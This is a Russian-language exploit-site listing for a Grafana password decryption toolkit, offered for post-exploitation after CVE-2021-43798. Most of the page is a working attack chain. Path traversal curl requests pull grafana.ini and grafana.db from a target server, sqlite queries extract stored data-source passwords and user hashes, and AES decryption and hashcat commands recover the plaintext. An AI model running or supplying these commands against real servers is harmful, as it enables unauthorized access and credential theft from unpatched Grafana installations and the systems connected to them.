## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-STRIKODER-PREMIUM-GRAFANA-PASSWORD-DECRYPTOR
# Grafana Password Decryptor
Python-инструментарий для расшифровки и взлома паролей Grafana из различных форматов.
**Автор: strikoder**
## Что делает этот инструмент?
Обрабатывает **два типа** хранения паролей Grafana:
* 🔐 **AES-256 Base64** (таблица data_source) → **Прямая расшифровка с помощью AESDecrypt.py**
* 🔨 **PBKDF2_HMAC_SHA256** (таблица user) → **Конвертация для Hashcat с помощью grafana2hashcat.py**
Идеально подходит для пост-эксплуатации после CVE-2021-43798 (path traversal).
## Что такое CVE-2021-43798?
Уязвимость path traversal в Grafana версий **8.0.0-beta1 – 8.3.0** , позволяющая **неавторизованным злоумышленникам** читать произвольные файлы на сервере, включая:
* Файлы конфигурации (`/etc/grafana/grafana.ini`)
* Файлы базы данных (`/var/lib/grafana/grafana.db`)
* Системные файлы (`/etc/passwd`)
**Пример эксплуатации:**
root@kitploit:~
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is --output grafana.db
Этот инструментарий завершает цепочку атаки, **расшифровывая/взламывая пароли** , извлечённые из базы данных.
## Включённые инструменты
### 1\. AESDecrypt.py
Расшифровывает пароли, зашифрованные AES-256, из таблицы `data_source`.
**Основан на:** jas502n/Grafana-CVE-2021-43798 с ключевыми улучшениями:
* ✅ **Гибкий секретный ключ** : Извлекайте ключ вручную (без жёстко заданных путей)
* ✅ **Пакетная обработка** : Расшифровка нескольких хешей из файла
* ✅ **Полностью настраиваемый** : Все параметры через аргументы командной строки
### 2\. grafana2hashcat.py
Преобразует хеши PBKDF2_HMAC_SHA256 Grafana из таблицы `user` в формат, совместимый с Hashcat, для взлома паролей.
**Автор:** iamaldi/grafana2hashcat
## Установка
root@kitploit:~
git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #для расшифровки
chmod +x AESDecrypt.py grafana2hashcat.py
## Использование
### Инструмент 1: AESDecrypt.py (для паролей AES-256 Base64)
#### Расшифровка одного хеша
root@kitploit:~
python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
#### Расшифровка нескольких хешей
root@kitploit:~
python3 AESDecrypt.py -f hashes.txt
#### Использование пользовательского секретного ключа
Извлеките секретный ключ из конфигурации Grafana:
root@kitploit:~
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key
python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY
### Инструмент 2: grafana2hashcat.py (для хешей PBKDF2)
#### Преобразование одного файла с хешами
root@kitploit:~
python3 grafana2hashcat.py grafana_hashes.txt
**Формат ввода** (`grafana_hashes.txt`):
root@kitploit:~
hash1,salt1
hash2,salt2
hash3,salt3
**Вывод** (готов для Hashcat):
root@kitploit:~
sha256:10000:base64_salt:base64_hash
#### Сохранение в файл
root@kitploit:~
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
#### Взлом с помощью Hashcat
root@kitploit:~
hashcat -m 10900 hashcat_hashes.txt wordlist.txt
* * *
## Полный пример эксплуатации
### Сценарий 1: Пароли, зашифрованные AES (таблица data_source)
root@kitploit:~
# 1. Извлеките секретный ключ из grafana.ini (в некоторых случаях может быть пустым, тогда используйте ключ по умолчанию из Python-программы)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
--path-as-is | grep secret_key
# 2. Скачайте базу данных
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 3. Извлеките зашифрованные AES пароли из таблицы data_source
sqlite3 grafana.db "SELECT name, password FROM data_source;"
# 4. Сохраните пароли в файл (по одному в строке)
# Пример: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
# 5. Расшифруйте с помощью извлечённого секретного ключа
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]
### Сценарий 2: Хеши PBKDF2 (таблица user)
root@kitploit:~
# 0. Скачайте базу данных
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 1. Извлеките хеши паролей PBKDF2 из таблицы user
sqlite3 grafana.db "SELECT login, password, salt FROM user;"
# 2. Отформатируйте хеши для grafana2hashcat (формат hash,salt)
# Пример формата в grafana_hashes.txt:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper
# 3. Преобразуйте в формат Hashcat
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
# 4. Взломайте с помощью Hashcat (режим 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt
## Краткая справка: какой инструмент использовать?
## Авторство
* **AESDecrypt.py** : Разработано strikoder на основе реализации jas502n на Go
* **grafana2hashcat.py** : Создано iamaldi
* * *
⭐ **Полезно? Поставьте звёздочку!**
**Разработано strikoder**